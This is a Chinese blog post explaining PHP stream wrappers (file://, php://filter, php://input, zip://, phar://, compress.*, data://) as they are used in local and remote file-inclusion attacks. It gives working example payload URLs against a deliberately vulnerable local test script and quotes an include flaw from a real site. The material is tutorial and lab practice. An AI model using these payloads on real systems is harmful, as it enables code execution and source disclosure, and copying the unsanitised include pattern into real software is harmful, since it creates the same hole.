PHP之伪协议深入理解

了解一门语言必须得了解其基础,之前做渗透测试,就是xjb测试,还以为自己要上天了,沉下心来,一个萝卜一个坑,加油吧,骚年~

今天晚上,听了漏洞银行的大咖公开课讲的内网渗透,感觉和大咖之间还有不少差距,不过搞到了一波工具,心里依然美滋滋~

//文件读取相关函数
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

0x00 PHP伪协议

基于函数include()include_once()两个的利用情况

有如下的协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我就针对经常用到的几个做了整理,这里要感谢各大搜索引擎和部分博主,包括但不限于FREEBUFQ1n6ChaBug


0x01 利用条件

协议 利用条件 说明 用法
file:// allow_url_fopen和allow_url_include双Off情况下可正常使用 访问本地文件系统 file://文件绝对路径和文件名
php:// 不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On) 访问IO流 php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
zip://,bzip2://,zlib:// 双Off条件下可使用 zip://test.zip#x.txt zip://绝对路径#子文件名,x.txt内容就会以php代码执行compress.bzip2://test.bz2和compress.zlib://test.gz用法相同 , https://blog.dyboy.cn/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg 可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
data:// 双On https://blog.dyboy.cn/include.php?file=data://text/plain,<?php phpinfo();?>,或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= , 或者 data:text/plain,<?php phpinfo();?> , 或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= 同样以string可写入php代码,并执行

0x02 大杂烩

利用zip或phar伪协议读取压缩包中的文件

/about.php?f=phar://./images/1499394959.jpg/1.php

/about.php?f=zip://./images/1499394959.jpg%231.php

来自Freebuf

来自Freebuf

来自Freebuf

来自Freebuf


0x03 本地演练

看了不如练了,所以自己构建本地靶场,来测试感受一下!

<?php
//D:/Server/htdocs/emlog/ctf.php
//伪协议例子

@$file = isset($_GET[file])?$_GET['file']:'ctf.php';
include_once($file);
highlight_file($file);

?>

1.file:// 文件协议:
http://www.test.com/ctf.php?file=file://D:/Server/htdocs/emlog/phpinfo.txt
这是file://协议


2.php://filter/read=convert.base64-encode
http://www.test.com/ctf.php?file=php://filter/read/convert.base64-encode/resource=phpinfo.txt

*这里还可以把read=string.tolower/resource=... 可以直接读取源码


3.php://filter 协议:
http://www.test.com/ctf.php?file=php://filter/resource=phpinfo.txt

4.php://input 协议
此协议需要allow_url_include=On;
访问:http://www.test.com/ctf.php?file=php://input
POST数据:<?php phpinfo(); ?>


5.压缩包协议
此协议类似于file://协议allow_url_fopenallow_url_include的启用与否无关系

链接规范参考如下:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

访问执行php代码:
http://www.test.com/ctf.php?file=zip://D:/Server/htdocs/emlog/phpinfo.zip%23phpinfo.txt

其余的压缩包协议也是一样的唉~


6.bzip2:// 协议

usage:compress.bzip2://file.bz2

http://www.test.com/ctf.php?file=compress.bzip2://D:/Server/htdocs/emlog/phpinfo.jpg

http://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg

这个不知道为什么,没有复现成功,只出现了一片空白,哪位大佬可以告知一下嘛???


7.zlib:// 协议

usage:compress.zlib://file.gz

http://www.test.com/ctf.php?file=compress.zlib://D:/Server/htdocs/emlog/phpinfo.jpg

http://www.test.com/ctf.php?file=compress.bzip2://./phpinfo.jpg


8.data:// 协议
Freebuf中的作者已经验证官方文档给出的错误,data://协议需要双On

  1. http://www.test.com/ctf.php?file=data://text/plain,<?php%20phpinfo();%20?>
  2. http://www.test.com/ctf.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
    也可以直接去掉上面链接的//

0x04 总结

知识还是要一点点啃完,虽然边学边写博客,还一边复现,收获很深刻,也希望对大家有帮助!还有文中的问题,麻烦那个大佬解决一下呀~

0x05 补充某网站真实案例

代码精简后如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>xxxxxxxxxx</title>

</head>

<body bgcolor="#00ffff">
      <p>
      <?php 
          $contant=isset($_GET['show']) ? $_GET['show'] : 'xxzx.html'; 
          include(iconv("UTF-8","gb2312",$contant)); 
      ?>
      </p>

</body>
</html>
发表评论 / Comment

用心评论~


Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/blog.dyboy.cn/content/templates/dyblog/footer.php:56) in /www/wwwroot/blog.dyboy.cn/include/lib/view.php on line 23